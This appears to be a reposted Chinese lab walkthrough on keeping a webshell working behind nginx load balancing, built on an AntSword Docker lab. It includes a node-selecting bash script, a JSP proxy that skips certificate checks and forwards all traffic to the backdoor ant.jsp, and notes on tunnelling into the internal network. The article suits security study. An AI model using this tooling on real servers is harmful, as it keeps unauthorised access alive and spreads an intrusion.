解决nginx的负载均衡下上传webshell的问题

news2024/12/22 22:36:42

目录

环境

问题

访问的ip会变动     

执行命令的服务器未知

 上传大文件损坏

深入内网

解决方案


环境


ps :现在已经拿下服务器了,要解决的是负载均衡问题,

以下是docker环境:

链接: https://pan.baidu.com/s/1cjMfyFbb50NuUtk6JNfXNQ?pwd=1aqw

提取码: 1aqw

在/root/AntSword-Labs-master/loadbalance/loadbalance-jsp路径下开启容器

查看:    

  

浏览器测试下能打开,然后直接用蚁剑连接

问题

访问的ip会变动
     

  负载均衡原理这里不讲了

这里的现象就是在两台服务器上转换,所以想要连接成功, 那就每个服务器都要上传后门即可解决

执行命令的服务器未知


  就是在执行命令时,不知道是哪个服务器执行的,那就多执行几次,也可以轻松解决

 上传大文件损坏


因为是负载均衡,所以上传大一点的文件会被拆开分到不同服务器上导致文件损失,尽量上传小文件,也能行

深入内网


目标服务器不能出内网,但是它有web服务器部署在外网

所以就把隧道上传到目标服务器,与web服务器连接, 就可以把web服务器当成代理进入内网

这样由于负载均衡,传输数据传到一半可能中断传输,就无法建立连接。

解决方案


  1.关一台服务器,不让负载均衡,理论上可行,但是不切实际,真实环境犯法

 2.筛选出指定ip再执行

    写个脚本,然后给两个服务器都上传

#!/bin/bash
MYIP=$(hostname -i)
if [ "$MYIP" == "172.19.0.2" ]; then
        echo -e "Node1. 执行命令。\n=======\n"
        hostname -i
else
        echo "其他节点。请重试。"
fi

   

然后执行:  

但是这样无法解决上传文件、出内网问题,仅适用执行命令的情况

3.在web层面做一次http流量转发

 由于这两台服务器互相是可以访问的,那么思路就是在其中一台服务器上做流量转发

目的就是无论访问哪台服务器,最终流量都去往同一台服务器

 

这里提供一个流量转发的脚本:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
 
<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

   直接上传文件会被分片损坏,所以在蚁剑上直接新建文件,多保存几次即可

    

 

然后修改蚁剑的连接并测试:

 


原文链接:https://blog.csdn.net/vt_yjx/article/details/132273609

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/903342.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HotSpot虚拟机之内存模型与线程安全

目录 一、线程内存模型 1. 内存模型 2. 内存模型操作 二、Happens-Before原则 三、Java线程 1. 线程实现方式 2. Java线程状态 四、Java线程安全 1. 线程安全程度 2. 锁优化 五、参考资料 一、线程内存模型 1. 内存模型 内存模型主要目的是定义共享变量的访问规则&…

iconfont的使用方法 | 踩过的坑

据 iconfont官网&#xff0c;其使用方法是 拷贝项目下面生成的fontclass代码&#xff0c;挑选相应图标并获取类名。 注意&#xff0c;这个fontclass代码是涵盖了你所有要使用的图标 起因&#xff1a;部分icont图标生效了&#xff0c;部分图标无效。 问题&#xff1a;fontclas…

邮件开发信技巧大公开!

特别是对外贸企业或者跨境电商企业来讲&#xff0c;写邮件开发信仍是一个常用的手。通过邮件开发信&#xff0c;企业可以很快地获得精准客户&#xff0c;同时扩展业务&#xff0c;进行营销活动。但是做过邮件群发的人可能都会遇到类似问题&#xff0c;比如邮件到达率低、邮件回…

Python框架【url_for 函数、重定向、响应内容、自定义响应、模板介绍、模板的使用、过滤器介绍、Jinja模板自带过滤器】(二)

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小王&#xff0c;CSDN博客博主,Python小白 &#x1f4d5;系列专栏&#xff1a;python入门到实战、Python爬虫开发、Python办公自动化、Python数据分析、Python前后端开发 &#x1f4e7;如果文章知识点有错误…

大数据课程K3——Spark的常用案例

文章作者邮箱&#xff1a;yugongshiyesina.cn 地址&#xff1a;广东惠州 ▲ 本章节目的 ⚪ 掌握Spark的常用案例——WordCount&#xff1b; ⚪ 掌握Spark的常用案例——求平均值&#xff1b; ⚪ 掌握Spark的常用案例——求最大值和最小值&#xff1b; ⚪ 掌握…

​8th参考文献:[8]许少辉.乡村振兴战略下传统村落文化旅游设计[M]北京:中国建筑出版传媒,2022.

​&#xff18;th参考文献&#xff1a;&#xff3b;&#xff18;&#xff3d;许少辉&#xff0e;乡村振兴战略下传统村落文化旅游设计&#xff3b;&#xff2d;&#xff3d;北京&#xff1a;中国建筑出版传媒&#xff0c;&#xff12;&#xff10;&#xff12;&#xff12;&…

根据源码,模拟实现 RabbitMQ - 内存数据管理(4)

目录 一、内存数据管理 1.1、需求分析 1.2、实现 MemoryDataCenter 类 1.2.1、ConcurrentHashMap 数据管理 1.2.2、封装交换机操作 1.2.3、封装队列操作 1.2.4、封装绑定操作 1.2.5、封装消息操作 1.2.6、封装未确认消息操作 1.2.7、封装恢复数据操作 一、内存数据管理…

机器学习深度学习——NLP实战(情感分析模型——数据集)

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位即将上大四&#xff0c;正专攻机器学习的保研er &#x1f30c;上期文章&#xff1a;机器学习&&深度学习——BERT&#xff08;来自transformer的双向编码器表示&#xff09; &#x1f4da;订阅专栏&#xff1a;机器…

【数据结构】_7.二叉树

目录 1.树形结构 1.1 树的概念 1.2 树的相关概念 1.3 树的表示 1.4 树在实际中的应用—表示文件系统的目录树结构 ​编辑​2.二叉树 2.1 概念 2.2 特殊二叉树 2.3 二叉树的性质 2.4 二叉树的存储结构 2.4.1 顺序存储结构&#xff08;数组存储结构&#xff09; 2.4.2…

LeetCode--HOT100题(36)

目录 题目描述&#xff1a;146. LRU 缓存&#xff08;中等&#xff09;题目接口解题思路代码 PS: 题目描述&#xff1a;146. LRU 缓存&#xff08;中等&#xff09; 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCache 类&#xff1a; LRUCache…

引人关注的领域 ---- 信号稀疏表示

本篇文章是博主在人工智能等领域学习时&#xff0c;用于个人学习、研究或者欣赏使用&#xff0c;并基于博主对人工智能等领域的一些理解而记录的学习摘录和笔记&#xff0c;若有不当和侵权之处&#xff0c;指出后将会立即改正&#xff0c;还望谅解。文章分类在学习摘录和笔记专…

redis实战-缓存数据解决缓存与数据库数据一致性

缓存的定义 缓存(Cache),就是数据交换的缓冲区,俗称的缓存就是缓冲区内的数据,一般从数据库中获取,存储于本地代码。防止过高的数据访问猛冲系统,导致其操作线程无法及时处理信息而瘫痪&#xff0c;这在实际开发中对企业讲,对产品口碑,用户评价都是致命的;所以企业非常重视缓存…

基于蜉蝣算法优化的BP神经网络(预测应用) - 附代码

基于蜉蝣算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码 文章目录 基于蜉蝣算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码1.数据介绍2.蜉蝣优化BP神经网络2.1 BP神经网络参数设置2.2 蜉蝣算法应用 4.测试结果&#xff1a;5.Matlab代码 摘要…

MySQL8.0.26-Linux版安装

MySQL8.0.26-Linux版安装 1. 准备一台Linux服务器 云服务器或者虚拟机都可以; Linux的版本为 CentOS7; 2. 下载Linux版MySQL安装包 MySQL :: Download MySQL Community Server (Archived Versions) 3. 上传MySQL安装包 4. 创建目录,并解压 mkdir mysql ​ tar -xvf mysql-8…

网站老域名跳转到新域名有哪些方法?内网穿透内网主机让外网访问

在网站服务器变更及本地主机搭建时&#xff0c;我们经常会遇到老域名地址跳转到新URL的配置&#xff0c;一些朋友还会面对无公网IP让外网访问的问题。今天我们来了解下网站老域名跳转到新域名有哪些方法&#xff0c;以及如何通过内网穿透实现内网主机让外网访问。 网站老域名跳…

【Unity小技巧】Unity2D TileMap的探究(最简单,最全面的TileMap使用介绍)

文章目录 前言介绍一、TileMap简单的使用1、创建Unity工程2、Tilemap的使用2.1、导入素材图片2.2、切割图片2.3、创建画板2.4、创建瓦片2.5、创建网格2.6、在网格上刷瓦片2.7、解决瓦片没有占满格子的问题2.8、解决瓦片之间有缝隙的问题2.9、擦除瓦片2.10、区域瓦片绘制2.11、瓦…

适合上班族做的4个低门槛的副业兼职

对于大多数职场中人来说&#xff0c;如果没有在30岁之后获得晋升&#xff0c;获得更好的发展平台&#xff0c;可能就会感到工作缺乏足够的吸引力了。当我们只有一份工作的时候&#xff0c;就好比把鸡蛋放在一个篮子里&#xff0c;把自己的青春放在一家公司里。这也就好比单一的…

华盛顿大学Baker实验室率先设计出双稳态结构蛋白质

在蛋白质世界&#xff0c;“结构决定功能”是一条基本原则。因此&#xff0c;很多人可能认为&#xff0c;一个蛋白质就应该有一个唯一确定的结构&#xff0c;使得它能够去执行确定的生物学功能。其实&#xff0c;在真实的世界中&#xff0c;蛋白质大多都是处于一种不断起伏的动…

MongDB【CRUD练习-条件查询-文档关系】

练习1-CRUD // 进入test数据库 use test; // 查询文档内容 db.students.find(); // 显示当前数据库中所有集合 show collections; // 向数据库的user集合中插入一个文档 db.users.insertOne({username: "lyh"} ); // 查看当前数据库中所有的集合 发现users集合被创建…

信号处理--基于EEG脑电信号的眼睛状态的分析

本实验为生物信息学专题设计小项目。项目目的是通过提供的14导联EEG 脑电信号&#xff0c;实现对于人体睁眼和闭眼两个状态的数据分类分析。每个脑电信号的时长大约为117秒。 目录 加载相关的库函数 读取脑电信号数据并查看数据的属性 绘制脑电多通道连接矩阵 绘制两类数据…